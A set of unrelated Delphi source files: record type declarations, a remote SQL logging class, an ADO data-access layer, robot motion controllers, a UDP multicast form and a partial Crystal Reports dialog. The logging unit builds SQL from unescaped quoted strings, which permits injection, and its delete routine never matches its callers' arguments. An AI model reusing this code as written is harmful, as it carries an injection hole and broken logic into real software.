NameLen: byte;
Unused: word;
end;
type PMSORecCHILDANCHOR = ^TMSORecCHILDANCHOR;
TMSORecCHILDANCHOR = packed record
X1,Y1,X2,Y2: longword;
end;
type PMSORecCLIENTANCHOR = ^TMSORecCLIENTANCHOR;
TMSORecCLIENTANCHOR = packed record
Options: word;
Col1: word;
Col1Offset: word;
Row1: word;
Row1Offset: word;
Col2: word;
Col2Offset: word;
Row2: word;
Row2Offset: word;
end;
type PDGGRecFIDCL = ^TDGGRecFIDCL;
TDGGRecFIDCL = packed record
DgId: longword;
SpIdUsed: longword;
end;
type PMSORecDG = ^TMSORecDG;
TMSORecDG = packed record
ShapeCount_: longword;
CurSpId: longword;
end;
type PMSORecDGG = ^TMSORecDGG;
TMSORecDGG = packed record
MaxSpId: longword;
IdClusterCount: longword;
SavedShapes: longword;
SavedDrawings: longword;
end;
type PMSORecOPTValue = ^TMSORecOPTValue;
TMSORecOPTValue = packed record
Options: word;
Value: longword;
end;
type PMSORecSP = ^TMSORecSP;
TMSORecSP = packed record
SpId: longword;
Options: longword;
end;
type PMSORecSPGR = ^TMSORecSPGR;
TMSORecSPGR = packed record
X1,Y1,X2,Y2: longword;
end;
implementation
end.
|
{==========================================================================
This unit is used to create an SQL insert statement for the purposes of
logging program behavior to a remote SQL server.
TODO:
Sanitize read/write from properties.
Format connection string from seperate variables.
Written by :
Morgan Thrapp.
===========================================================================}
unit SQLRemoteLogging;
interface
uses Classes, ADODB, SysUtils, StdCtrls, Windows, Dialogs, Forms;
type
TRemoteLog = class
private
sConnectionString : String;
sTableName : String;
slColumnList : TStringList;
slValuesList : TStringList;
sInsertStatement : String;
bUseColumns : Boolean;
function FormatAsSQL(TempStr : String) : String;
procedure SaveInput(InputStr : String;
TypeStr : String);
procedure FormatInsertString;
procedure DeleteInput(DeleteStr : String;
TypeStr : String);
published
constructor Create;
procedure SetTable(TableName : String);
procedure AddColumn(ColumnName : String); Overload;
procedure AddValue(Value : String); Overload;
procedure AddColumnValuePair(ColumnName : String;
Value : String);
procedure SaveLog;
procedure SetConnectionString(ConnectionString : String);
procedure DeleteColumn(ColumnName : String);
procedure DeleteValue(Value : String);
procedure DeleteColumnValuePair(Index : Integer);
function CurrentDatetime : String;
property UseColumns : Boolean
read bUseColumns
write bUseColumns;
property ColumnList : TStringlist
read slColumnList
write slColumnList;
property ValuesList : TStringlist
read slValuesList
write slValuesList;
end;
const
rlTables = 'log_entry';
rlDatetime = 'log_datetime';
rlRunType = 'run_type';
rlSource = 'source';
rlDestination = 'destination';
rlClientId = 'log_instance_id';
rlAction = 'log_action';
rlConfiguration = 'configuration';
implementation
{==============================================================================}
constructor TRemoteLog.Create;
begin
self.sConnectionString := 'FILE NAME=' + GetCurrentDir + '/' + 'RemoteLog.udl';
self.sTableName := '';
self.bUseColumns := True;
self.slColumnList := TStringList.Create;
self.slValuesList := TStringList.Create;
end;
{==============================================================================}
function TRemoteLog.FormatAsSQL(TempStr : String) : String;
var
sResultString : String;
begin
sResultString := '''' + TempStr + '''';
result := sResultString;
end;
{==============================================================================}
procedure TRemoteLog.SaveInput(InputStr : String;
TypeStr : String);
var
sTypeStr : String;
begin
sTypeStr := AnsiUpperCase(TypeStr);
if (sTypeStr = 'TABLE')
then sTableName := InputStr;
if (sTypeStr = 'COLUMN')
then slColumnList.Add(InputStr);
if (sTypeStr = 'VALUE')
then slValuesList.Add(InputStr);
if (sTypeStr = 'CONNECTION')
then sConnectionString := InputStr;
end;
{==============================================================================}
procedure TRemoteLog.SaveLog;
var
SQLLogQuery : TADOQuery;
SQLLogConnection : TADOConnection;
begin
FormatInsertString;
SQLLogConnection := TADOConnection.Create(nil);
SQLLogConnection.ConnectionString := sConnectionString;
SQLLogConnection.LoginPrompt := False;
SQLLogConnection.Connected := True;
SQLLogQuery := TADOQuery.Create(nil);
SQLLogQuery.Connection := SQLLogConnection;
SQLLogQuery.SQL.Add(sInsertStatement);
SQLLogQuery.ExecSQL;
end;
{==============================================================================}
procedure TRemoteLog.FormatInsertString;
var
sTempStr : String;
I, X : Integer;
begin
sInsertStatement := 'INSERT INTO ' + sTableName + ' ';
if bUseColumns
then
begin
sInsertStatement := sInsertStatement + '(';
for I:=0 to slColumnList.Count - 1 do
begin
sTempStr := slColumnList[I] + ',';
sInsertStatement := sInsertStatement + sTempStr;
end;
X := Length(sInsertStatement);
Delete(sInsertStatement,X,1);
sInsertStatement := sInsertStatement + ') ';
end;
sInsertStatement := sInsertStatement + 'VALUES (';
for I:=0 to slValuesList.Count - 1 do
begin
sTempStr := FormatAsSQL(slValuesList[I]) + ',';
sInsertStatement := sInsertStatement + sTempStr;
end;
X := Length(sInsertStatement);
Delete(sInsertStatement,X,1);
sInsertStatement := sInsertStatement + ');';
end;
{==============================================================================}
procedure TRemoteLog.SetTable(TableName : String);
begin
SaveInput(TableName, 'table');
end;
{==============================================================================}
procedure TRemoteLog.AddColumn(ColumnName : String);
begin
SaveInput(ColumnName, 'column');
end;
{==============================================================================}
procedure TRemoteLog.AddValue(Value : String);
begin
SaveInput(Value, 'value');
end;
{==============================================================================}
procedure TRemoteLog.SetConnectionString(ConnectionString : String);
begin
SaveInput(ConnectionString, 'connection');
end;
{==============================================================================}
procedure TRemoteLog.DeleteColumn(ColumnName : String);
begin
DeleteInput(ColumnName, 'C');
end;
{==============================================================================}
procedure TRemoteLog.DeleteColumnValuePair(Index: Integer);
var
sColumnStr : String;
sValueStr : String;
begin
sColumnStr := slColumnList[Index];
sValueStr := slValuesList[Index];
DeleteInput(sColumnStr, 'C');
DeleteInput(sValueStr, 'V');
end;
{==============================================================================}
procedure TRemoteLog.DeleteValue(Value : String);
begin
DeleteInput(Value, 'V');
end;
{==============================================================================}
procedure TRemoteLog.DeleteInput(DeleteStr : String;
TypeStr: String);
var
I : Integer;
sTypeStr : String;
begin
sTypeStr := AnsiUpperCase(TypeStr);
if (sTypeStr = 'COLUMN')
then
begin
I := slColumnList.IndexOf(DeleteStr);
if (I<>-1)
then slColumnList.Delete(I);
end;
if (sTypeStr = 'VALUE')
then
begin
I := slColumnList.IndexOf(DeleteStr);
if (I<>-1)
then slValuesList.Delete(I);
end;
end;
{==============================================================================}
function TRemoteLog.CurrentDatetime: String;
var
dtCurTime : TDateTime;
sTimeStr, sDateStr : String;
begin
dtCurTime := Now;
sDateStr := FormatDateTime('yyyymmdd',dtCurTime);
sTimeStr := FormatDateTime('hh:mm:ss.zzz',dtCurTime);
Result := sDateStr + ' ' + sTimeStr;
end;
{==============================================================================}
procedure TRemoteLog.AddColumnValuePair(ColumnName: String;
Value: String);
begin
AddColumn(ColumnName);
AddValue(Value);
end;
end.
|
{ *****************************************************************************
Project:
Description: Data Access Layer Interface
Author: ³جةع±ّ
CreateDate: 2005-05-03
History:
*****************************************************************************}
unit DataAccess;
interface
uses
Classes,DB,ADoDb;
type
IDataAccess = interface
function ConnectToDb:Boolean;
function RunSql(const SQLScript:String; var RecCount:integer):TDataset;
end;
TAdoDataAccess = class(TInterfacedObject,IDataAccess)
private
FAdoCnt:TADOConnection;
FDataModule:TDataModule;
FQuery:TADOQuery;
FConnStr:string;
public
function ConnectToDb:Boolean;
function RunSql(const SQLScript:string; var RecCount:integer):TDataset;
constructor Create(const ConnStr:string);
destructor Destroy; override;
end;
implementation
uses Math;
{ TAdoDataAccess }
function TAdoDataAccess.ConnectToDb: Boolean;
begin
end;
constructor TAdoDataAccess.Create(const ConnStr:string);
begin
FConnStr := ConnStr;
FAdoCnt := TADOConnection.Create(nil);
FAdoCnt.LoginPrompt := false;
FAdoCnt.ConnectionString := FConnStr;
FQuery := TADOQuery.Create(nil);
FQuery.Connection := FAdoCnt;
end;
destructor TAdoDataAccess.Destroy;
begin
FAdoCnt.Free;
FQuery.Free;
inherited;
end;
function TAdoDataAccess.RunSql(const SQLScript: string;
var RecCount: integer): TDataset;
begin
with FQuery do
begin
If Active then Close;
SQL.Clear;
SQL.Add(SQLScript);
Active := True;
if not IsEmpty then RecCount := RecordCount
else RecCount :=0;
Result := FQuery;
end;
end;
end.
|
unit Actions;
{$mode objfpc}{$H+}
interface
uses Graphics,Main,Param,Math,DecConsts,obsavoid,SysUtils,MPC,Model;
const
IDCTRL_OMNI_FORWARD=1;
IDCTRL_OMNI_POSITION=2;
IDCTRL_OMNI_XYTETA=3;
type
TAction=(acStop, acGoToXYTeta,acAdvisedSpeed,acDesiredSpeed,acDoFormation,acDoFormationFollower);
const
CActionString: array[low(TAction)..High(TAction)] of string =
('acStop','acGoToXYTeta','acAdvisedSpeed','acDesiredSpeed', 'acDoFormation','acDoFormationFollower');
const
GoToXYTetaPrecision=0.025;
//Tese Tiago
minNextPointDistance=0.05;
procedure ActionStop(num: integer);
procedure ActionGoToXYTeta(num: integer);
procedure ActionAdvisedSpeed(num: integer);
procedure ActionDesiredSpeed(num: integer);
procedure VVnToVxy(teta,v,vn: double; var Vx,Vy: double);
procedure VxyToVVn(teta,vx,vy: double; var V,Vn: double);
//Tese Tiago
procedure ActionDoFormation(num:integer);
procedure ActionDoFormationFollower(num:integer);
type
TActionFunc = procedure(num: integer);
const
CActionFunc: array[low(TAction)..High(TAction)] of TActionFunc =
( @ActionStop, @ActionGoToXYTeta,@ActionAdvisedSpeed,@ActionDesiredSpeed, @ActionDoFormation, @ActionDoFormationFollower);
//****************************************************
//
// type TActionsPars
//
//----------------------------------------------------
// Parameters for the action that's currently being
// executed
//****************************************************
type
TActionPars=record
x,y,w,teta: double;
sx,sy: double; // start position for acFollowVector
anyway: boolean;
speed: double;
speed_on_target: double;
target_precision: double;
desiredV,desiredVn,desiredW:double;
chipkick_dist: double;
avoid: TAvoidSet;
end;
var
//Array of TActionPars, action parameters for each robot
ActionPars: array [0..MaxRobots-1] of TActionPars;
//Trajectories of the current robot
traj: TTrajectory;
staticTraj: TTrajectory;
//Speed for static trajectory
staticSpeed : double;
staticSpeedOnTarget : double;
b_global,k_global,y_cross_global,x_diff_global,y_diff_global:double;
function ActionString(a: TAction): string;
implementation
uses Tactic, Utils, Robots, Roles, Tasks;
function ActionString(a: TAction): string;
begin
result:=CActionString[a];
end;
//-----------------------------------------------------------------------------
// Controller
//-----------------------------------------------------------------------------
//-------------------------------------------------------------------------
// VxyToVVn()
//
// Convert speeds in Vxy to VVn
//-------------------------------------------------------------------------
procedure VxyToVVn(teta,vx,vy: double; var V,Vn: double);
var ct,st: double;
begin
ct:=cos(teta);
st:=sin(teta);
v:=vx*ct+vy*st;
vn:=-vx*st+vy*ct;
end;
procedure VxyToVVnNH(teta,vx,vy: double; var V: double);
var ct,st: double;
begin
ct:=cos(teta);
st:=sin(teta);
v:=(vx+vy)/(ct+st);
end;
//-------------------------------------------------------------------------
// VVnToVxy()
//
// Convert speeds in VVn to Vxy
//-------------------------------------------------------------------------
procedure VVnToVxy(teta,v,vn: double; var Vx,Vy: double);
var ct,st: double;
begin
ct:=cos(teta);
st:=sin(teta);
vx:=v*ct-vn*st;
vy:=v*st+vn*ct;
end;
function SatVal(v, vmax: double): double;
begin
if v > vmax then v := vmax;
if v < -vmax then v := -vmax;
result := v;
end;
//-----------------------------------------------------------------------------
// ProportionalSat
//
// Keeps vector directions if norms have to be scaled
//-----------------------------------------------------------------------------
procedure ProportionalSat(var v1,v2,v3: double; vmax: double);
var maxv,minv: double;
scale,scalemax,scalemin: double;
begin
// conversao de velocidade linear para a maxima na roda
vmax:=0.87*vmax;
maxv:=Max(abs(v1),Max(abs(v2),abs(v3)));
if maxv>vmax then
scale:=maxv/vmax
else
scale:=1;
v1:=v1/scale;
v2:=v2/scale;
v3:=v3/scale;
end;
//----------------------------------------------------------------------------
// SetTacticCommandsInRobotRef
//
// Defines the calculated v, vn and w in the TTacticCommand object of the
// current Robot. This is the object that's read to send the speeds to
// the motors
//----------------------------------------------------------------------------
procedure SetTacticCommandsInRobotRef(var com: TTacticCommand; v,vn,w: double);
begin
com.v:=v;
com.vn:=vn;
com.w:=w;
with com do begin
v1 := v * MechCosAlpha + vn * MechSinAlpha + MechD * w;
v2 := -v * MechCosAlpha + vn * MechSinAlpha + MechD * w;
v3 := -vn + MechB * w;
ProportionalSat(v1, v2, v3, SpeedMax);
end;
end;
procedure SetTacticCommandsInRobotRefNH(var com: TTacticCommand; v,w: double);
begin
com.v:=v;
com.vn:=0;
com.w:=w;
with com do begin
v1 := v + 0.2999*w;
v2 := v - 0.2999*w;
v3 := 0;
end;
end;
procedure ActionAdvisedSpeed(num: integer);
var advV,advVn,advW:double;
begin
advV:=RobotState[num].LocAdvV;
advVn:=RobotState[num].LocAdvVn;
advW:=RobotState[num].LocAdvW;
SetTacticCommandsInRobotRef(TacticCommands[num],advV,advVn,advW);
end;
procedure ActionDesiredSpeed(num: integer);
begin
SetTacticCommandsInRobotRef(TacticCommands[num],ActionPars[num].desiredV,ActionPars[num].desiredVn,ActionPars[num].desiredw);
end;
//-----------------------------------------------------------------------------
// TrajectoryController
//
// Calculates the correct v, vn, and w to follow the trajectory calculated
// before. Limits speeds for deceleration when close to the target to arrive
// to it at the desired speed.
//-----------------------------------------------------------------------------
procedure TrajectoryController(speed, speed_on_target: double; var state: TRobotState; var com: TTacticCommand; var traj: TTrajectory;tgx,tgy: double);
var statev, statevn, v, vn, dteta, derdist,distancia,distNew,stopang: double;
vmax, pw, tx, ty, tempx,tempy, segteta, deltat, vball: double;
idx: integer;
previousSpeed:double;
begin
idx := Min(3, traj.count-1);
tx := traj.pts[idx].x;
ty := traj.pts[idx].y;
dteta := DiffAngle(traj.pts[idx].teta, state.teta);
segteta := ATan2(ty-state.y,tx-state.x);
distancia:=dist((tgx-state.x),(tgy-state.y));
tempx:=tx-state.x;
tempy:=ty-state.y;
NormalizeVector(tempx,tempy);
previousSpeed:=dist(RobotState[myNumber].sv,RobotState[myNumber].svn);
distNew:=0.25-0.5*max_linear_acceleration*
power((previousSpeed-speed_on_target)/max_linear_acceleration,2)+
previousSpeed*(previousSpeed-speed_on_target)/max_linear_acceleration;
if (traj.distance < deltadist) then begin
vmax := 0;
end else begin
if (distancia>distNew) then
vmax :=speed
else
vmax :=speed_on_target;
end;
tempx:=tempx*vmax;
tempy:=tempy*vmax;
if vmax>speed then vmax:=speed;
VxyToVVn(state.teta, tempx, tempy, v, vn);
if abs(dteta) < deltateta * Pi / 180 then begin
pw := 0;
end else begin
pw := 3 * dteta - 0.5 * state.sw;
end;
SetTacticCommandsInRobotRef(com, v, vn, pw);
end;
//-----------------------------------------------------------------------------
//
// TrajectoryControllerNH
//
//-----------------------------------------------------------------------------
procedure TrajectoryControllerNH(speed, speed_on_target: double; var state: TRobotState; var com: TTacticCommand; var traj: TTrajectory;tgx,tgy: double);
var statev, statevn, v, vn, dteta, derdist,distancia,distNew,stopang: double;
vmax, pw, tx, ty, tempx,tempy, segteta, deltat, vball: double;
idx: integer;
previousSpeed:double;
begin
idx := Min(3, traj.count-1);
tx := traj.pts[idx].x;
ty := traj.pts[idx].y;
//dteta := DiffAngle(traj.pts[idx].teta, state.teta);
segteta := ATan2(ty-state.y,tx-state.x);
dteta := (DiffAngle(segteta,state.teta));
distancia:=dist((tgx-state.x),(tgy-state.y));
tempx:=tx-state.x;
tempy:=ty-state.y;
NormalizeVector(tempx,tempy);
previousSpeed:=RobotState[myNumber].sv;
distNew:=0.25-0.5*max_linear_acceleration*
power((previousSpeed-speed_on_target)/max_linear_acceleration,2)+
previousSpeed*(previousSpeed-speed_on_target)/max_linear_acceleration;
if (traj.distance < deltadist) then begin
vmax := 0;
end else begin
if (distancia>distNew) then
vmax :=speed
else
vmax :=speed_on_target;
end;
tempx:=tempx*vmax;
tempy:=tempy*vmax;
if vmax>speed then vmax:=speed;
VxyToVVnNH(state.teta, tempx, tempy, v);
if abs(dteta) < deltateta * Pi / 180 then begin
pw := 0;
end else begin
pw := 3 * dteta - 0.5 * state.sw;
end;
SetTacticCommandsInRobotRefNH(com, v, pw);
end;
//-------------------------------------------------------------------------
// Actions!!!
//
// ActionStop
//
// Stop Robot movement
//-------------------------------------------------------------------------
procedure ActionStop(num: integer);
begin
with TacticCommands[num] do begin
v1:=0;
v2:=0;
v3:=0;
v:=0;
vn:=0;
w:=0;
end;
RobotCalcData[num].trajectory_length := 0;
end;
//-------------------------------------------------------------------------
// ActionGoToXYTeta
//
// Moves the robot to the position defined in the ActionPars[num] object
// following a trajectory calculated by RobotBestPath().
//-------------------------------------------------------------------------
procedure ActionGoToXYTeta(num: integer);
var rx,ry,d: double;
i: integer;
begin
rx:=ActionPars[num].x;
ry:=ActionPars[num].y;
//Get Robot trajectory (A*)
RobotBestPath(num,rx,ry,traj,ActionPars[num].avoid);
//Set target teta for each point as the final teta and the rotation power (w)
for i:=0 to traj.count - 1 do begin
traj.pts[i].teta := ActionPars[num].teta;
traj.pts[i].teta_power := 1;
end;
//Call TrajectoryController
if FormMPC.difCB.Checked=true then begin
TrajectoryControllerNH(ActionPars[num].speed, ActionPars[num].speed_on_target, RobotState[num], TacticCommands[num], traj,rx,ry);
end else begin
TrajectoryController(ActionPars[num].speed, ActionPars[num].speed_on_target, RobotState[num], TacticCommands[num], traj,rx,ry);
end;
RobotCalcData[num].trajectory_length := traj.distance;
end;
//-------------------------------------------------------------------------
// ActionDoFormation
//
// keeps formation
//-------------------------------------------------------------------------
procedure ActionDoFormation(num: integer);
var v,vn,w,distancia: double;
i: integer;
begin
//Run controller
FormMPC.MPCcontroller(RobotState[num],staticTraj,ActionPars[num].avoid,ActionPars[num].speed,v,vn,w);
FormMPC.showDebug;
//Set speed references
SetTacticCommandsInRobotRef(TacticCommands[num],v,vn,w);
//Update RobotState State
RobotState[num].v := v;
RobotState[num].vn := vn;
RobotState[num].w := w;
end;
//-------------------------------------------------------------------------
// ActionDoFormationFollower
//
// keeps formation when searching the target
//-------------------------------------------------------------------------
procedure ActionDoFormationFollower(num: integer);
var v,vn,w,distancia: double;
begin
//Run controller
FormMPC.MPCcontrollerFollower(RobotState[num],staticTraj,ActionPars[num].avoid,ActionPars[num].speed,v,vn,w);
FormMPC.showDebug;
//Set speed references
SetTacticCommandsInRobotRef(TacticCommands[num],v,vn,w);
//Update RobotState State
RobotState[num].v := v;
RobotState[num].vn := vn;
RobotState[num].w := w;
end;
end.
|
unit udpmulticast;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, winsock,
StdCtrls;
const
WM_SOCK = WM_USER + 1; //自定义windows消息
UDPPORT = 6543; //设定UDP端口号
//D类地址224.0.0.0 - 239.255.255.255
//若为224.0.0.1则本机也能收到,否则本机收不到,其它机器能收到。
MY_GROUP = '224.1.1.1';
(*
* Argument structure for IP_ADD_MEMBERSHIP and IP_DROP_MEMBERSHIP.
* Delphi5自带的winsock.pas中没有ip_mreq的定义。
*)
type
ip_mreq = record
imr_multiaddr: in_addr; (* IP multicast address of group *)
imr_interface: in_addr; (* local IP address of interface *)
end;
TIpMReq = ip_mreq;
PIpMReq = ^ip_mreq;
type
Tfrmmain = class(TForm)
Button1: TButton;
Edit1: TEdit;
Memo1: TMemo;
Edit2: TEdit;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
s: TSocket;
addr: TSockAddr;
FSockAddrIn : TSockAddrIn;
mreq:ip_mreq;
//利用消息实时获知UDP消息
procedure ReadData(var Message: TMessage); message WM_SOCK;
public
{ Public declarations }
procedure SendData(Content: String);
end;
var
frmmain: Tfrmmain;
implementation
{$R *.DFM}
function creategroup(form:tform;group:string;PORT:integer):integer;
var
TempWSAData: TWSAData;
s: TSocket;
addr: TSockAddr;
FSockAddrIn : TSockAddrIn;
mreq:ip_mreq;
begin
// 初始化SOCKET
if WSAStartup($101, TempWSAData)=1 then
begin
//showmessage('StartUp Error!');
result:=-1;
end;
s:= Socket(AF_INET, SOCK_DGRAM, 0);
if (s = INVALID_SOCKET) then //Socket创建失败
begin
//showmessage(inttostr(WSAGetLastError())+' Socket创建失败');
CloseSocket(s);
result:=-2;
//exit;
end;
//发送方SockAddr绑定
addr.sin_family := AF_INET;
addr.sin_addr.S_addr := INADDR_ANY;
addr.sin_port := htons(PORT);
if Bind(s, addr, sizeof(addr)) <> 0 then
begin
//showmessage('bind fail');
result:=-3;
end;
{optval:= 1;
if setsockopt(s,SOL_SOCKET,SO_BROADCAST,pchar(@optval),sizeof(optval)) = SOCKET_ERROR then
begin
showmessage('无法进行UDP广播');
end;}
mreq.imr_multiaddr.S_addr := inet_addr(pchar(GROUP));//htonl(INADDR_ALLHOSTS_GROUP);
mreq.imr_interface.S_addr := htonl(INADDR_ANY);
if setsockopt(s,IPPROTO_IP,IP_ADD_MEMBERSHIP,pchar(@mreq),sizeof(mreq)) = SOCKET_ERROR then
begin
//showmessage('无法进行UDP组播');
result:=-4;
end;
WSAAsyncSelect(s, form.Handle , WM_SOCK, FD_READ);
//接收端SockAddrIn设定
FSockAddrIn.SIn_Family := AF_INET;
FSockAddrIn.SIn_Port := htons(PORT);
// label3.Caption := '端口:'+inttostr(PORT);
result:=0;
end;
procedure Tfrmmain.FormCreate(Sender: TObject);
var
TempWSAData: TWSAData;
//optval: integer;
begin
Edit1.Text := MY_GROUP;
// 初始化SOCKET
if WSAStartup($101, TempWSAData)=1 then
showmessage('StartUp Error!');
s := Socket(AF_INET, SOCK_DGRAM, 0);
if (s = INVALID_SOCKET) then //Socket创建失败
begin
showmessage(inttostr(WSAGetLastError())+' Socket创建失败');
CloseSocket(s);
//exit;
end;
//发送方SockAddr绑定
addr.sin_family := AF_INET;
addr.sin_addr.S_addr := INADDR_ANY;
addr.sin_port := htons(UDPPORT);
if Bind(s, addr, sizeof(addr)) <> 0 then
begin
showmessage('bind fail');
end;
{optval:= 1;
if setsockopt(s,SOL_SOCKET,SO_BROADCAST,pchar(@optval),sizeof(optval)) = SOCKET_ERROR then
begin
showmessage('无法进行UDP广播');
end;}
mreq.imr_multiaddr.S_addr := inet_addr(pchar(MY_GROUP));//htonl(INADDR_ALLHOSTS_GROUP);
mreq.imr_interface.S_addr := htonl(INADDR_ANY);
if setsockopt(s,IPPROTO_IP,IP_ADD_MEMBERSHIP,pchar(@mreq),sizeof(mreq)) = SOCKET_ERROR then
begin
showmessage('无法进行UDP组播');
end;
WSAAsyncSelect(s, frmmain.Handle , WM_SOCK, FD_READ);
//接收端SockAddrIn设定
FSockAddrIn.SIn_Family := AF_INET;
FSockAddrIn.SIn_Port := htons(UDPPORT);
label3.Caption := '端口:'+inttostr(UDPPORT);
end;
procedure Tfrmmain.FormClose(Sender: TObject; var Action: TCloseAction);
begin
CloseSocket(s);
end;
procedure Tfrmmain.ReadData(var Message: TMessage);
var
buffer: Array [1..4096] of char;
len: integer;
flen: integer;
Event: word;
value: string;
begin
flen:=sizeof(FSockAddrIn);
Event := WSAGetSelectEvent(Message.LParam);
if Event = FD_READ then
begin
len := recvfrom(s, buffer, sizeof(buffer), 0, FSockAddrIn, flen);
value := copy(buffer, 1, len);
Memo1.Lines.add(value)
end;
end;
procedure Tfrmmain.SendData(Content: String);
var
value{,hostname}: string;
len: integer;
begin
//FSockAddrIn.SIn_Addr.S_addr := INADDR_BROADCAST;
FSockAddrIn.SIn_Addr.S_addr := inet_addr(pchar(MY_GROUP));
value := Content;
len := sendto(s, value[1], Length(value), 0, FSockAddrIn, sizeof(FSockAddrIn));
if (WSAGetLastError() <> WSAEWOULDBLOCK) and (WSAGetLastError() <> 0) then
showmessage(inttostr(WSAGetLastError()));
if len = SOCKET_ERROR then
showmessage('send fail');
if len <> Length(value) then
showmessage('Not Send all');
end;
procedure Tfrmmain.Button1Click(Sender: TObject);
begin
senddata(Edit2.text);
end;
end.
|
unit UDBoxes;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls, ExtCtrls, Buttons, UCrpe32;
type
TCrpeBoxesDlg = class(TForm)
pnlBoxes: TPanel;
lblNumber: TLabel;
lbNumbers: TListBox;
lblCount: TLabel;
editCount: TEdit;
{Border}
gbBorder: TGroupBox;
lblBorderStyle: TLabel;
cbBorderStyle: TComboBox;
lblBorderWidth: TLabel;
editBorderWidth: TEdit;
lblBorderColor: TLabel;
cbDropShadow: TCheckBox;
{FillColor}
lblFillColor: TLabel;
{Format options}
cbCloseBorder: TCheckBox;
cbExtend: TCheckBox;
cbSuppress: TCheckBox;
{CornerRounding}
gbCornerRounding: TGroupBox;
lblCornerRoundingHeight: TLabel;
lblCornerRoundingWidth: TLabel;
editCornerRoundingHeight: TEdit;
editCornerRoundingWidth: TEdit;
{Size and Position}
gbSizeAndPosition: TGroupBox;
pnlSize: TPanel;
lblTop: TLabel;
lblLeft: TLabel;
lblBottom: TLabel;
lblRight: TLabel;
editTop: TEdit;
editLeft: TEdit;
editBottom: TEdit;
editRight: TEdit;
rgUnits: TRadioGroup;
lblSectionStart: TLabel;
cbSectionStart: TComboBox;
lblSectionEnd: TLabel;
cbSectionEnd: TComboBox;
{Buttons}
btnOk: TButton;
btnClear: TButton;
cbBorderColor: TColorBox;
cbFillColor: TColorBox;
procedure btnClearClick(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormShow(Sender: TObject);
procedure UpdateBoxes;
procedure FormCreate(Sender: TObject);
procedure editSizeEnter(Sender: TObject);
procedure editSizeExit(Sender: TObject);
procedure lbNumbersClick(Sender: TObject);
procedure cbBorderColorChange(Sender: TObject);
procedure cbFillColorChange(Sender: TObject);
procedure cbBorderStyleChange(Sender: TObject);
procedure editBorderWidthEnter(Sender: TObject);
procedure editBorderWidthExit(Sender: TObject);
procedure cbCloseBorderClick(Sender: TObject);
procedure cbExtendClick(Sender: TObject);
procedure cbSuppressClick(Sender: TObject);
procedure editCornerRoundingEnter(Sender: TObject);
procedure editCornerRoundingExit(Sender: TObject);
procedure cbSectionStartChange(Sender: TObject);
procedure cbSectionEndChange(Sender: TObject);
procedure btnOkClick(Sender: TObject);
procedure cbDropShadowClick(Sender: TObject);
procedure InitializeControls(OnOff: boolean);
procedure rgUnitsClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
Cr : TCrpe;
BoxIndex : smallint;
PrevSize : string;
CustomBorderColor : TColor;
CustomFillColor : TColor;
end;
var
CrpeBoxesDlg: TCrpeBoxesDlg;
bBoxes : boolean;
implementation
{$R *.DFM}
uses UCrpeUtl, UCrpeClasses;
{------------------------------------------------------------------------------}
{ FormCreate }
{------------------------------------------------------------------------------}
procedure TCrpeBoxesDlg.FormCreate(Sender: TObject);
begin
LoadFormPos(Self);
BoxIndex := -1;
btnOk.Tag := 1;
bBoxes := True;
cbBorderColor.Selected := clBlack;
cbFillColor.Selected := clNone;
{Border}
with cbBorderStyle.Items do
begin
Add('lsNone');
Add('lsSingle');
Add('lsDouble');
Add('lsDash');
Add('lsDot');
end;
end;
{------------------------------------------------------------------------------}
{ FormShow }
{------------------------------------------------------------------------------}
procedure TCrpeBoxesDlg.FormShow(Sender: TObject);
begin
UpdateBoxes;
end;
{------------------------------------------------------------------------------}
{ UpdateBoxes }
{------------------------------------------------------------------------------}
procedure TCrpeBoxesDlg.UpdateBoxes;
var
OnOff : boolean;
i : integer;
begin
BoxIndex := -1;
{Enable/Disable controls}
if IsStrEmpty(Cr.ReportName) then
OnOff := False
else
begin
OnOff := (Cr.Boxes.Count > 0);
{Get Boxes Index}
if OnOff then
begin
if Cr.Boxes.ItemIndex > -1 then
BoxIndex := Cr.Boxes.ItemIndex
else
BoxIndex := 0;
end;
end;
InitializeControls(OnOff);
{Update list box}
if OnOff then
begin
{Fill Section ComboBox}
cbSectionStart.Clear;
cbSectionStart.Items.AddStrings(Cr.SectionFormat.Names);
cbSectionEnd.Clear;
cbSectionEnd.Items.AddStrings(Cr.SectionFormat.Names);
{Fill Numbers ListBox}
for i := 0 to Cr.Boxes.Count - 1 do
lbNumbers.Items.Add(IntToStr(i));
editCount.Text := IntToStr(Cr.Boxes.Count);
lbNumbers.ItemIndex := BoxIndex;
lbNumbersClick(self);
end;
end;
{------------------------------------------------------------------------------}
{ InitializeControls }
{------------------------------------------------------------------------------}
procedure TCrpeBoxesDlg.InitializeControls(OnOff: boolean);
var
i : integer;
begin
{Enable/Disable the Form Controls}
for i := 0 to ComponentCount - 1 do
begin
if TComponent(Components[i]).Tag = 0 then
begin
if Components[i] is TButton then
TButton(Components[i]).Enabled := OnOff;
if Components[i] is TCheckBox then
TCheckBox(Components[i]).Enabled := OnOff;
if Components[i] is TColorBox then
TColorBox(Components[i]).Enabled := OnOff;
if Components[i] is TRadioGroup then
TRadioGroup(Components[i]).Enabled := OnOff;
if Components[i] is TComboBox then
begin
TComboBox(Components[i]).Color := ColorState(OnOff);
TComboBox(Components[i]).Enabled := OnOff;
end;
if Components[i] is TListBox then
begin
TListBox(Components[i]).Clear;
TListBox(Components[i]).Color := ColorState(OnOff);
TListBox(Components[i]).Enabled := OnOff;
end;
if Components[i] is TEdit then
begin
TEdit(Components[i]).Text := '';
if TEdit(Components[i]).ReadOnly = False then
TEdit(Components[i]).Color := ColorState(OnOff);
TEdit(Components[i]).Enabled := OnOff;
end;
end;
end;
end;
{------------------------------------------------------------------------------}
{ lbNumbersClick }
{------------------------------------------------------------------------------}
procedure TCrpeBoxesDlg.lbNumbersClick(Sender: TObject);
begin
BoxIndex := lbNumbers.ItemIndex;
{Border}
cbBorderStyle.ItemIndex := Ord(Cr.Boxes[BoxIndex].BorderStyle);
editBorderWidth.Text := IntToStr(Cr.Boxes.Item.BorderWidth);
cbBorderColor.Selected := Cr.Boxes.Item.BorderColor;
cbDropShadow.Checked := Cr.Boxes.Item.DropShadow;
